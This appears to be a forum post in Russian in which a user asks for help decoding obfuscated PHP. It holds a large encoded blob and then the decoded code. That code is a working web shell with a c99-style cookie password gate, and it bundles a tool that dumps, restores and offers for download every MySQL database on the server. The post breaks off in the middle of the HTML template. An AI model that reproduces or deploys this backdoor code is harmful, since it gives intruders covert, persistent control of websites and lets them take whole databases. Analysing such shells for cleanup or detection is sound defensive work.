WTbf2R3CxfBy0YTEzBeaQdeYtc0YNT01vC0P1HapDYmEzKrxpHlycGA9sAuiATlW5WMajdlf6HlcWKyimBypQdTaAWjYHD0W4H2kLTTiMcmaLC2OYfTYkcAfCWZ9TBBL5Y1kaKAfAAAaHR1ctCAyZUoxjTjaHUopDD2x2Tr8zao5WGMlSHTOZYuaMKTO3WblqCmYPFeypW2AxUjYxTln6WMS1AosWcrlbUosTcAxtdLOUKr9KDAsVR0O3NT0JK0nlfMyShokiF2A2Yy9LcBYvcoAPwlpCBMiJW2ipBaiKdr5QAMcDO1cQCjkUdrseUMybOmnvBBsKd2yBdylAdbiNCBxhdafqcyfidAl5aB14TyrXFrxaHoOvaacSFlasKaaJaLpuaLfXT1AZUlaBdMibalcoYylBBmYbalk0cAA5DokyFuOBHmOqajkofyYCdycJBoiYaaOtf1lBduYBdAcNCLfUGlcbGufAdrp0BLOBa1c6OTnBHmY4C1fhUaYSDolUalAxalaDT1YsTLcNaycBCBxhAyObYaYLOMx0TlaKBywXYAibD1cqBaAXGyfqBlcUdakHBaaLTMaBBlaTDzlTCB14GaCZGosAHlkzC0aPa1c6drscdya4TMxDBr5CTMiBD2X0ajkXO1YsOlijGL5ACTkPflOAUlfUdA16CLfPDakBFrfBOrcvATE1BykVOL5BHmiiajnaHBHxAmOjOL5iCLitUacsHbfiaTyzA25Kar1yYAxBHmY4crfoOacqFoiBH016aTk0d2wxBLiUBoxqAlfPayObfufjHBs4a25KdycAamiAaMOza2xLOL5CTlaJBrkAa214f1YoBmOjO2xKCLaXGla6WL9THLcBTAiLDlYyFrscaMO6TTyKFMyuKakYaaCzalcPf1OSUmYBBoxbAlfUDyabHaYUaTyCCLcXBykAampBOzy3aTyXF2YyDyfJBrkXayf4U2HxTbfAD3ODalOtYlabYBsbdApaAM1PBMaqBmpBHapbcrfOGBkyGyfTOTE1A1fSFMYyKulBDLpDajYLflfbHAfldunaa1OtBA1SUmYbarL1CTyXayPZdyOiHMi2aLf4D2YSTmkTDzaTTB1PAacsGyfJDzabA2sSBycuGrxaHoOvALcBaaySUMxiGLcwaMxUU1cBUbijOA5iAlA1falAUlfUDzlcaoxtA1cyajYBalkNCTykGaYVAMpUD1pYaaOoUL1oBLfbdMOUTaaDalabHeaBa0pua2sXaA1BBlOAa3WXaLfoYlpyfyOUHMiyaLf0aL1BTblUdLpPALchT1OaBlfKdykCCjYLDr1SBLcbD2iRBafhaacQTlfiDzarajnDU2OoFraUdr5UTB1UGafSalclOMxbAM5hA1fuAM9adykbajyaf1aVTlYBHAp3BaiXDMyafyOiGMYpU1YqY1pCBMiJW2ipBaiKdr5QAMcDO1cQCjkUdrseULsTO2ikBlF1A2WxFyaOaykDcBsyGycwd3fJD3E2crFxDA0XducTD2iVTTyLfycScr9YOoFxBLOKd1OoTmYiGMxKALiKFlpaAMscamnba1OKaBasf3pDaaCXAzyLaBWZfoxUaBs3aLf0f2YBTLlDH3nTaLAxYaWzdyYKOTO4C0f4a2ysAlyAHBiqTLcYf2YoFrxlBr53BliSA05oUbpjOrkQAjyBH1WXcr5LHeaBT0iBAaAxUTnDOr5varAxfoYoUlYUO3IzBlcLfMwXfrOaDlkBTB5UGaaQWMsiamncAMxXDMySducTD2ivaoxLFlYqUL5UHMiWaMxBdL5BULlbdApRA0fjGlCZHafBHeO3T0OBD00ZDr1aHmizBLa0a05rAL5BOTr0ao1XOMWXKAacH0kHaLiOYafSDoyiO0prBjk0dykbATkDOBieCLAxOByuFr5UOlpOAzyUGlnTUbnRauH9wJLpK3klfuaZdjS=
 
... Помогите, пожалуйста, расшифровать следующий код:
PHP:
<?php 
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');...

после расшифровки получается вот такое:
PHP:
error_reporting(0);
@set_magic_quotes_runtime(0);
@ignore_user_abort(TRUE);
@set_time_limit(0);
ob_start();
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];

function gocookie($nvcook,$pra) {
if( PHP_VERSION < 5.2 ) { setcookie($nvcook, $pra, time()+31536000, "/", "" . "; HttpOnly" );	} 
else {setcookie($nvcook, $pra, time()+31536000, "/", "", NULL, TRUE );	}
}

function s_array(&$array) {
	if (is_array($array)) {
		foreach ($array as $k => $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

foreach(array('_GET','_POST') as $_request) {
	foreach($$_request as $_key => $_value) {
		if ($_key{0} != '_') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

if ($charset == 'utf8') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$sekas='b6773cabd1fd76e2de1cfdec77fefe5c';

	if ($doing == 'login' ) {
		if ($sekas == md5(md5($password.'xFuCmdFvTVx'))) 
		{		
			
		gocookie('c99pass',$password);				
	  echo '<meta http-equiv="refresh" content="2;URL='.$self.'">';
		echo '<a style="font:13px Verdana" href="'.$self.'">Success :)</a>';
	
		exit;
		}
	}
	if ($_COOKIE['c99pass']) {
		if (md5(md5($_COOKIE['c99pass'].'xFuCmdFvTVx')) != $sekas) {
			loginpage();
		}
	} else {
		loginpage();
	}
		
function loginpage() {
?>

	<style type="text/css">
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
	</style>
	<center><br><br><br><form method="POST" action="">
	<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
	<input type="hidden" name="doing" value="login">

	<input type="submit" value="Login">
	</form></center>
<?
	exit;
}
$closetable='</table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top">';

if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}

if($_POST['scr']=='bak' or $_GET['scr']=='bak') {

define('PATH', '');
define('URL',  '/');
define('TIME_LIMIT', 0);
define('LIMIT', 1);
define('DBNAMES', '');
define('CHARSET', 'auto');
define('RESTORE_CHARSET', 'cp1251');
define('SC', 0);
define('ONLY_CREATE', 'MRG_MyISAM,MERGE,HEAP,MEMORY');
define('GS', 0);

class dumper {
	function dumper() {
		if (file_exists(PATH . "cfg")) {
		    include(PATH . "cfg");
		}
		else{
			$this->SET['last_action'] = 0;
			$this->SET['last_db_backup'] = '';
			$this->SET['tables'] = '';
			$this->SET['comp_method'] = 2;
			$this->SET['comp_level']  = 7;
			$this->SET['last_db_restore'] = '';
		}
		$this->tabs = 0;
		$this->records = 0;
		$this->size = 0;
		$this->comp = 0;

		preg_match("/^(\d+)\.(\d+)\.(\d+)/", mysql_get_server_info(), $m);
		$this->mysql_version = sprintf("%d%02d%02d", $m[1], $m[2], $m[3]);

		$this->only_create = explode(',', ONLY_CREATE);
		$this->forced_charset  = false;
		$this->restore_charset = $this->restore_collate = '';
		if (preg_match("/^(forced->)?(([a-z0-9]+)(\_\w+)?)$/", RESTORE_CHARSET, $matches)) {
			$this->forced_charset  = $matches[1] == 'forced->';
			$this->restore_charset = $matches[3];
			$this->restore_collate = !empty($matches[4]) ? ' COLLATE ' . $matches[2] : '';
		}
	}

	function backup() {
		if (!isset($_POST)) {$this->main();}
		set_error_handler("SXD_errorHandler");
		$buttons = "<A ID=save HREF='' STYLE='display: none;'>Скачать файл</A> &nbsp; <INPUT ID=back TYPE=button VALUE='Вернуться' DISABLED onClick=\"history.back();\">";
		echo tpl_page(tpl_process("Создается резервная копия БД"), $buttons);

		$this->SET['last_action']     = 0;
		$this->SET['last_db_backup']  = isset($_POST['db_backup']) ? $_POST['db_backup'] : '';
		$this->SET['tables_exclude']  = !empty($_POST['tables']) && $_POST['tables']{0} == '^' ? 1 : 0;
		$this->SET['tables']          = isset($_POST['tables']) ? $_POST['tables'] : '';
		$this->SET['comp_method']     = isset($_POST['comp_method']) ? intval($_POST['comp_method']) : 0;
		$this->SET['comp_level']      = isset($_POST['comp_level']) ? intval($_POST['comp_level']) : 0;
	

		$this->SET['tables']          = explode(",", $this->SET['tables']);
		if (!empty($_POST['tables'])) {
		    foreach($this->SET['tables'] AS $table){
    			$table = preg_replace("/[^\w*?^]/", "", $table);
				$pattern = array( "/\?/", "/\*/");
				$replace = array( ".", ".*?");
				$tbls[] = preg_replace($pattern, $replace, $table);
    		}
		}
		else{
			$this->SET['tables_exclude'] = 1;
		}

		if ($this->SET['comp_level'] == 0) {
		    $this->SET['comp_method'] = 0;
		}
		$db = $this->SET['last_db_backup'];

		if (!$db) {
			echo tpl_l("ОШИБКА! Не указана база данных!", C_ERROR);
			echo tpl_enableBack();
		    exit;
		}
		echo tpl_l("Подключение к БД `{$db}`.");
		mysql_select_db($db) or trigger_error ("Не удается выбрать базу данных.<BR>" . mysql_error(), E_USER_ERROR);
		$tables = array();
        $result = mysql_query("SHOW TABLES");
		$all = 0;
        while($row = mysql_fetch_array($result)) {
			$status = 0;
			if (!empty($tbls)) {
			    foreach($tbls AS $table){
    				$exclude = preg_match("/^\^/", $table) ? true : false;
    				if (!$exclude) {
    					if (preg_match("/^{$table}$/i", $row[0])) {
    					    $status = 1;
    					}
    					$all = 1;
    				}
    				if ($exclude && preg_match("/{$table}$/i", $row[0])) {
    				    $status = -1;
    				}
    			}
			}
			else {
				$status = 1;
			}
			if ($status >= $all) {
    			$tables[] = $row[0];
    		}
        }

		$tabs = count($tables);
		$result = mysql_query("SHOW TABLE STATUS");
		$tabinfo = array();
		$tab_charset = array();
		$tab_type = array();
		$tabinfo[0] = 0;
		$info = '';
		while($item = mysql_fetch_assoc($result)){
					
			if(in_array($item['Name'], $tables)) {
				$item['Rows'] = empty($item['Rows']) ? 0 : $item['Rows'];
				$tabinfo[0] += $item['Rows'];
				$tabinfo[$item['Name']] = $item['Rows'];
				$this->size += $item['Data_length'];
				$tabsize[$item['Name']] = 1 + round(LIMIT * 1048576 / ($item['Avg_row_length'] + 1));
				if($item['Rows']) $info .= "|" . $item['Rows'];
				if (!empty($item['Collation']) && preg_match("/^([a-z0-9]+)_/i", $item['Collation'], $m)) {
					$tab_charset[$item['Name']] = $m[1];
				}
				$tab_type[$item['Name']] = isset($item['Engine']) ? $item['Engine'] : $item['Type'];
			}
		}
		$show = 10 + $tabinfo[0] / 50;
		$info = $tabinfo[0] . $info;
		$name = $db . '_' . date("Y-m-d_H-i");
        $fp = $this->fn_open($name, "w");
		echo tpl_l("Создание файла с резервной копией БД:<BR>\\n  -  {$this->filename}");
		$this->fn_write($fp, "#SKD101|{$db}|{$tabs}|" . date("Y.m.d H:i:s") ."|{$info}\n\n");
		$t=0;
		echo tpl_l(str_repeat("-", 60));
		$result = mysql_query("SET SQL_QUOTE_SHOW_CREATE = 1");
		// Кодировка соединения по умолчанию
		if ($this->mysql_version > 40101 && CHARSET != 'auto') {
			mysql_query("SET NAMES '" . CHARSET . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>" . mysql_error(), E_USER_ERROR);
			$last_charset = CHARSET;
		}
		else{
			$last_charset = '';
		}
        foreach ($tables AS $table){
			// Выставляем кодировку соединения соответствующую кодировке таблицы
			if ($this->mysql_version > 40101 && $tab_charset[$table] != $last_charset) {
				if (CHARSET == 'auto') {
					mysql_query("SET NAMES '" . $tab_charset[$table] . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>" . mysql_error(), E_USER_ERROR);
					echo tpl_l("Установлена кодировка соединения `" . $tab_charset[$table] . "`.", C_WARNING);
					$last_charset = $tab_charset[$table];
				}
				else{
					echo tpl_l('Кодировка соединения и таблицы не совпадает:', C_ERROR);
					echo tpl_l('Таблица `'. $table .'` -> ' . $tab_charset[$table] . ' (соединение '  . CHARSET . ')', C_ERROR);
				}
			}
			echo tpl_l("Обработка таблицы `{$table}` [" . fn_int($tabinfo[$table]) . "].");
        	// Создание таблицы
			$result = mysql_query("SHOW CREATE TABLE `{$table}`");
        	$tab = mysql_fetch_array($result);
			$tab = preg_replace('/(default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP|DEFAULT CHARSET=\w+|COLLATE=\w+|character set \w+|collate \w+)/i', '/*!40101 \\1 */', $tab);
        	$this->fn_write($fp, "DROP TABLE IF EXISTS `{$table}`;\n{$tab[1]};\n\n");
        	// Проверяем нужно ли дампить данные
        	if (in_array($tab_type[$table], $this->only_create)) {
				continue;
			}
        	// Опредеделяем типы столбцов
            $NumericColumn = array();
            $result = mysql_query("SHOW COLUMNS FROM `{$table}`");
            $field = 0;
            while($col = mysql_fetch_row($result)) {
            	$NumericColumn[$field++] = preg_match("/^(\w*int|year)/", $col[1]) ? 1 : 0;
            }
			$fields = $field;
            $from = 0;
			$limit = $tabsize[$table];
			$limit2 = round($limit / 3);
			if ($tabinfo[$table] > 0) {
			if ($tabinfo[$table] > $limit2) {
			    echo tpl_s(0, $t / $tabinfo[0]);
			}
			$i = 0;
			$this->fn_write($fp, "INSERT INTO `{$table}` VALUES");
            while(($result = mysql_query("SELECT * FROM `{$table}` LIMIT {$from}, {$limit}")) && ($total = mysql_num_rows($result))){
            		while($row = mysql_fetch_row($result)) {
                    	$i++;
    					$t++;

						for($k = 0; $k < $fields; $k++){
                    		if ($NumericColumn[$k])
                    		    $row[$k] = isset($row[$k]) ? $row[$k] : "NULL";
                    		else
                    			$row[$k] = isset($row[$k]) ? "'" . mysql_escape_string($row[$k]) . "'" : "NULL";
                    	}

    					$this->fn_write($fp, ($i == 1 ? "" : ",") . "\n(" . implode(", ", $row) . ")");
    					if ($i % $limit2 == 0)
    						echo tpl_s($i / $tabinfo[$table], $t / $tabinfo[0]);
               		}
					mysql_free_result($result);
					if ($total < $limit) {
					    break;
					}
    				$from += $limit;
            }

			$this->fn_write($fp, ";\n\n");
    		echo tpl_s(1, $t / $tabinfo[0]);}
		}
		$this->tabs = $tabs;
		$this->records = $tabinfo[0];
		$this->comp = $this->SET['comp_method'] * 10 + $this->SET['comp_level'];
        echo tpl_s(1, 1);
        echo tpl_l(str_repeat("-", 60));
        $this->fn_close($fp);
		echo tpl_l("Резервная копия БД `{$db}` создана.", C_RESULT);
		echo tpl_l("Размер БД:       " . round($this->size / 1048576, 2) . " МБ", C_RESULT);
		$filesize = round(filesize(PATH . $this->filename) / 1048576, 2) . " МБ";
		echo tpl_l("Размер файла: {$filesize}", C_RESULT);
		echo tpl_l("Таблиц обработано: {$tabs}", C_RESULT);
		echo tpl_l("Строк обработано:   " . fn_int($tabinfo[0]), C_RESULT);
		echo "<SCRIPT>with (document.getElementById('save')) {style.display = ''; innerHTML = 'Скачать файл ({$filesize})'; href = '". $this->filename . "'; }document.getElementById('back').disabled = 0;</SCRIPT>";

	}
	
	function restore(){
		if (!isset($_POST)) {$this->main();}
		set_error_handler("SXD_errorHandler");
		$buttons = "<INPUT ID=back TYPE=button VALUE='Вернуться' DISABLED onClick=\"history.back();\">";
		echo tpl_page(tpl_process("Восстановление БД из резервной копии"), $buttons);

		$this->SET['last_action']     = 1;
		$this->SET['last_db_restore'] = isset($_POST['db_restore']) ? $_POST['db_restore'] : '';
		$file						  = isset($_POST['file']) ? $_POST['file'] : '';
		
		$db = $this->SET['last_db_restore'];

		if (!$db) {
			echo tpl_l("ОШИБКА! Не указана база данных!", C_ERROR);
			echo tpl_enableBack();
		    exit;
		}
		echo tpl_l("Подключение к БД `{$db}`.");
		mysql_select_db($db) or trigger_error ("Не удается выбрать базу данных.<BR>" . mysql_error(), E_USER_ERROR);

		// Определение формата файла
		if(preg_match("/^(.+?)\.sql(\.(bz2|gz))?$/", $file, $matches)) {
			if (isset($matches[3]) && $matches[3] == 'bz2') {
			    $this->SET['comp_method'] = 2;
			}
			elseif (isset($matches[2]) &&$matches[3] == 'gz'){
				$this->SET['comp_method'] = 1;
			}
			else{
				$this->SET['comp_method'] = 0;
			}
			$this->SET['comp_level'] = '';
			if (!file_exists(PATH . "/{$file}")) {
    		    echo tpl_l("ОШИБКА! Файл не найден!", C_ERROR);
				echo tpl_enableBack();
    		    exit;
    		}
			echo tpl_l("Чтение файла `{$file}`.");
			$file = $matches[1];
		}
		else{
			echo tpl_l("ОШИБКА! Не выбран файл!", C_ERROR);
			echo tpl_enableBack();
		    exit;
		}
		echo tpl_l(str_repeat("-", 60));
		$fp = $this->fn_open($file, "r");
		$this->file_cache = $sql = $table = $insert = '';
        $is_skd = $query_len = $execute = $q =$t = $i = $aff_rows = 0;
		$limit = 300;
        $index = 4;
		$tabs = 0;
		$cache = '';
		$info = array();

		// Установка кодировки соединения
		if ($this->mysql_version > 40101 && (CHARSET != 'auto' || $this->forced_charset)) { // Кодировка по умолчанию, если в дампе не указана кодировка
			mysql_query("SET NAMES '" . $this->restore_charset . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>" . mysql_error(), E_USER_ERROR);
			echo tpl_l("Установлена кодировка соединения `" . $this->restore_charset . "`.", C_WARNING);
			$last_charset = $this->restore_charset;
		}
		else {
			$last_charset = '';
		}
		$last_showed = '';
		while(($str = $this->fn_read_str($fp)) !== false){
			if (empty($str) || preg_match("/^(#|--)/", $str)) {
				if (!$is_skd && preg_match("/^#SKD101\|/", $str)) {
				    $info = explode("|", $str);
					echo tpl_s(0, $t / $info[4]);
					$is_skd = 1;
				}
        	    continue;
        	}
			$query_len += strlen($str);

			if (!$insert && preg_match("/^(INSERT INTO `?([^` ]+)`? .*?VALUES)(.*)$/i", $str, $m)) {
				if ($table != $m[2]) {
				    $table = $m[2];
					$tabs++;
					$cache .= tpl_l("Таблица `{$table}`.");
					$last_showed = $table;
					$i = 0;
					if ($is_skd)
					    echo tpl_s(100 , $t / $info[4]);
				}
        	    $insert = $m[1] . ' ';
				$sql .= $m[3];
				$index++;
				$info[$index] = isset($info[$index]) ? $info[$index] : 0;
				$limit = round($info[$index] / 20);
				$limit = $limit < 300 ? 300 : $limit;
				if ($info[$index] > $limit){
					echo $cache;
					$cache = '';
					echo tpl_s(0 / $info[$index], $t / $info[4]);
				}
        	}
			else{
        		$sql .= $str;
				if ($insert) {
				    $i++;
    				$t++;
    				if ($is_skd && $info[$index] > $limit && $t % $limit == 0){
    					echo tpl_s($i / $info[$index], $t / $info[4]);
    				}
				}
        	}

			if (!$insert && preg_match("/^CREATE TABLE (IF NOT EXISTS )?`?([^` ]+)`?/i", $str, $m) && $table != $m[2]){
				$table = $m[2];
				$insert = '';
				$tabs++;
				$is_create = true;
				$i = 0;
			}
			if ($sql) {
			    if (preg_match("/;$/", $str)) {
            		$sql = rtrim($insert . $sql, ";");
					if (empty($insert)) {
						if ($this->mysql_version < 40101) {
				    		$sql = preg_replace("/ENGINE\s?=/", "TYPE=", $sql);
						}
						elseif (preg_match("/CREATE TABLE/i", $sql)){
							// Выставляем кодировку соединения
							if (preg_match("/(CHARACTER SET|CHARSET)[=\s]+(\w+)/i", $sql, $charset)) {
								if (!$this->forced_charset && $charset[2] != $last_charset) {
									if (CHARSET == 'auto') {
										mysql_query("SET NAMES '" . $charset[2] . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>{$sql}<BR>" . mysql_error(), E_USER_ERROR);
										$cache .= tpl_l("Установлена кодировка соединения `" . $charset[2] . "`.", C_WARNING);
										$last_charset = $charset[2];
									}
									else{
										$cache .= tpl_l('Кодировка соединения и таблицы не совпадает:', C_ERROR);
										$cache .= tpl_l('Таблица `'. $table .'` -> ' . $charset[2] . ' (соединение '  . $this->restore_charset . ')', C_ERROR);
									}
								}
								// Меняем кодировку если указано форсировать кодировку
								if ($this->forced_charset) {
									$sql = preg_replace("/(\/\*!\d+\s)?((COLLATE)[=\s]+)\w+(\s+\*\/)?/i", '', $sql);
									$sql = preg_replace("/((CHARACTER SET|CHARSET)[=\s]+)\w+/i", "\\1" . $this->restore_charset . $this->restore_collate, $sql);
								}
							}
							elseif(CHARSET == 'auto'){ // Вставляем кодировку для таблиц, если она не указана и установлена auto кодировка
								$sql .= ' DEFAULT CHARSET=' . $this->restore_charset . $this->restore_collate;
								if ($this->restore_charset != $last_charset) {
									mysql_query("SET NAMES '" . $this->restore_charset . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>{$sql}<BR>" . mysql_error(), E_USER_ERROR);
									$cache .= tpl_l("Установлена кодировка соединения `" . $this->restore_charset . "`.", C_WARNING);
									$last_charset = $this->restore_charset;
								}
							}
						}
						if ($last_showed != $table) {$cache .= tpl_l("Таблица `{$table}`."); $last_showed = $table;}
					}
					elseif($this->mysql_version > 40101 && empty($last_charset)) { // Устанавливаем кодировку на случай если отсутствует CREATE TABLE
						mysql_query("SET $this->restore_charset '" . $this->restore_charset . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>{$sql}<BR>" . mysql_error(), E_USER_ERROR);
						echo tpl_l("Установлена кодировка соединения `" . $this->restore_charset . "`.", C_WARNING);
						$last_charset = $this->restore_charset;
					}
            		$insert = '';
            	    $execute = 1;
            	}
            	if ($query_len >= 65536 && preg_match("/,$/", $str)) {
            		$sql = rtrim($insert . $sql, ",");
            	    $execute = 1;
            	}
    			if ($execute) {
            		$q++;
            		mysql_query($sql) or trigger_error ("Неправильный запрос.<BR>" . mysql_error(), E_USER_ERROR);
					if (preg_match("/^insert/i", $sql)) {
            		    $aff_rows += mysql_affected_rows();
            		}
            		$sql = '';
            		$query_len = 0;
            		$execute = 0;
            	}
			}
		}
		echo $cache;
		echo tpl_s(1 , 1);
		echo tpl_l(str_repeat("-", 60));
		echo tpl_l("БД восстановлена из резервной копии.", C_RESULT);
		if (isset($info[3])) echo tpl_l("Дата создания копии: {$info[3]}", C_RESULT);
		echo tpl_l("Запросов к БД: {$q}", C_RESULT);
		echo tpl_l("Таблиц создано: {$tabs}", C_RESULT);
		echo tpl_l("Строк добавлено: {$aff_rows}", C_RESULT);

		$this->tabs = $tabs;
		$this->records = $aff_rows;
		$this->size = filesize(PATH . $this->filename);
		$this->comp = $this->SET['comp_method'] * 10 + $this->SET['comp_level'];
		echo "<SCRIPT>document.getElementById('back').disabled = 0;</SCRIPT>";

		$this->fn_close($fp);
	}

	function main(){
		$this->comp_levels = array('9' => '9 (максимальная)', '8' => '8', '7' => '7', '6' => '6', '5' => '5 (средняя)', '4' => '4', '3' => '3', '2' => '2', '1' => '1 (минимальная)','0' => 'Без сжатия');

		if (function_exists("bzopen")) {
		    $this->comp_methods[2] = 'BZip2';
		}
		if (function_exists("gzopen")) {
		    $this->comp_methods[1] = 'GZip';
		}
		$this->comp_methods[0] = 'Без сжатия';
		if (count($this->comp_methods) == 1) {
		    $this->comp_levels = array('0' =>'Без сжатия');
		}

		$dbs = $this->db_select();
		$this->vars['db_backup']    = $this->fn_select($dbs, $this->SET['last_db_backup']);
		$this->vars['db_restore']   = $this->fn_select($dbs, $this->SET['last_db_restore']);
		$this->vars['comp_levels']  = $this->fn_select($this->comp_levels, $this->SET['comp_level']);
		$this->vars['comp_methods'] = $this->fn_select($this->comp_methods, $this->SET['comp_method']);
		$this->vars['tables']       = $this->SET['tables'];
		$this->vars['files']        = $this->fn_select($this->file_select(), '');

$buttons = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT TYPE=submit VALUE=Применить></form></TD>
<TD ALIGN=RIGHT>
<form method=post action=''><INPUT TYPE=submit VALUE=Выход><INPUT TYPE=hidden NAME=out VALUE=ok><INPUT TYPE=hidden NAME=scr VALUE=bak>";
		
		echo tpl_page(tpl_main(), $buttons);
	}

	function db_select(){
		if (DBNAMES != '') {
			$items = explode(',', trim(DBNAMES));
			foreach($items AS $item){
    			if (mysql_select_db($item)) {
    				$tables = mysql_query("SHOW TABLES");
    				if ($tables) {
    	  			    $tabs = mysql_num_rows($tables);
    	  				$dbs[$item] = "{$item} ({$tabs})";
    	  			}
    			}
			}
		}
		else {
    		$result = mysql_query("SHOW DATABASES");
    		$dbs = array();
    		while($item = mysql_fetch_array($result)){
    			if (mysql_select_db($item[0])) {
    				$tables = mysql_query("SHOW TABLES");
    				if ($tables) {
    	  			    $tabs = mysql_num_rows($tables);
    	  				$dbs[$item[0]] = "{$item[0]} ({$tabs})";
    	  			}
    			}
    		}
		}
	    return $dbs;
	}

	function file_select(){
		$files = array('' => ' ');
		if (is_dir(PATH) && $handle = opendir(PATH)) {
            while (false !== ($file = readdir($handle))) {
                if (preg_match("/^.+?\.sql(\.(gz|bz2))?$/", $file)) {
                    $files[$file] = $file;
                }
            }
            closedir($handle);
        }
        ksort($files);
		return $files;
	}

	function fn_open($name, $mode){
		if ($this->SET['comp_method'] == 2) {
			$this->filename = "{$name}.sql.bz2";
		    return bzopen(PATH . $this->filename, "{$mode}b{$this->SET['comp_level']}");
		}
		elseif ($this->SET['comp_method'] == 1) {
			$this->filename = "{$name}.sql.gz";
		    return gzopen(PATH . $this->filename, "{$mode}b{$this->SET['comp_level']}");
		}
		else{
			$this->filename = "{$name}.sql";
			return fopen(PATH . $this->filename, "{$mode}b");
		}
	}

	function fn_write($fp, $str){
		if ($this->SET['comp_method'] == 2) {
		    bzwrite($fp, $str);
		}
		elseif ($this->SET['comp_method'] == 1) {
		    gzwrite($fp, $str);
		}
		else{
			fwrite($fp, $str);
		}
	}

	function fn_read($fp){
		if ($this->SET['comp_method'] == 2) {
		    return bzread($fp, 4096);
		}
		elseif ($this->SET['comp_method'] == 1) {
		    return gzread($fp, 4096);
		}
		else{
			return fread($fp, 4096);
		}
	}

	function fn_read_str($fp){
		$string = '';
		$this->file_cache = ltrim($this->file_cache);
		$pos = strpos($this->file_cache, "\n", 0);
		if ($pos < 1) {
			while (!$string && ($str = $this->fn_read($fp))){
    			$pos = strpos($str, "\n", 0);
    			if ($pos === false) {
    			    $this->file_cache .= $str;
    			}
    			else{
    				$string = $this->file_cache . substr($str, 0, $pos);
    				$this->file_cache = substr($str, $pos + 1);
    			}
    		}
			if (!$str) {
			    if ($this->file_cache) {
					$string = $this->file_cache;
					$this->file_cache = '';
				    return trim($string);
				}
			    return false;
			}
		}
		else {
  			$string = substr($this->file_cache, 0, $pos);
  			$this->file_cache = substr($this->file_cache, $pos + 1);
		}
		return trim($string);
	}

	function fn_close($fp){
		if ($this->SET['comp_method'] == 2) {
		    bzclose($fp);
		}
		elseif ($this->SET['comp_method'] == 1) {
		    gzclose($fp);
		}
		else{
			fclose($fp);
		}
		@chmod(PATH . $this->filename, 0666);

	}

	function fn_select($items, $selected){
		$select = '';
		foreach($items AS $key => $value){
			$select .= $key == $selected ? "<OPTION VALUE='{$key}' SELECTED>{$value}" : "<OPTION VALUE='{$key}'>{$value}";
		}
		return $select;
	}

}

function fn_int($num){
	return number_format($num, 0, ',', ' ');
}

function fn_arr2str($array) {
	$str = "array(\n";
	foreach ($array as $key => $value) {
		if (is_array($value)) {
			$str .= "'$key' => " . fn_arr2str($value) . ",\n\n";
		}
		else {
			$str .= "'$key' => '" . str_replace("'", "\'", $value) . "',\n";
		}
	}
	return $str . ")";
}

// Шаблоны

function tpl_page($content = '', $buttons = ''){
return <<<HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>

<TITLE>Dumper Lite 1.0.8</TITLE>
<META HTTP-EQUIV=Content-Type CONTENT="text/html; charset=windows-1251">
<STYLE TYPE="TEXT/CSS">
<!--
body{
	overflow: auto;
}
td {
	font: 11px tahoma, verdana, arial;
	cursor: default;
}
input, select, div {
	font: 11px tahoma, verdana, arial;
}
input.text, select {
	width: 100%;
}
fieldset {
	margin-bottom: 10px;
}
-->
</STYLE>
</HEAD>
<BODY BGCOLOR=#ECE9D8 TEXT=#000000>
<TABLE WIDTH=100% HEIGHT=100% BORDER=0 CELLSPACING=0 CELLPADDING=0 ALIGN=CENTER>
<TR>
<TD HEIGHT=60% ALIGN=CENTER VALIGN=MIDDLE>
<TABLE WIDTH=360 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR>
<TD VALIGN=TOP STYLE="border: 1px solid #919B9C;">
<TABLE WIDTH=100% HEIGHT=100% BORDER=0 CELLSPACING=1 CELLPADDING=0>
<TR>
<TD ID=Header HEIGHT=20 BGCOLOR=#7A96DF STYLE="font-size: 13px; color: white; font-family: verdana, arial;
padding-left: 5px; FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=1,startColorStr=#7A96DF,endColorStr=#FBFBFD)"
TITLE='&copy; 2003-2006 zapimir'>
<B>Dumper Lite 1.0.8</B><IMG ID=GS WIDTH=1 HEIGHT=1 STYLE="visibility: hidden;"></TD>

</TR>
<TR>
<FORM NAME=skb METHOD=POST>
<INPUT TYPE=hidden NAME=scr VALUE=bak>
<TD VALIGN=TOP BGCOLOR=#F4F3EE STYLE="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#FCFBFE,endColorStr=#F4F3EE); padding: 8px 8px;">
{$content}
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD STYLE='color: #CECECE' ID=timer></TD>
<TD ALIGN=RIGHT>{$buttons}</TD>
</TR>
</TABLE></TD>
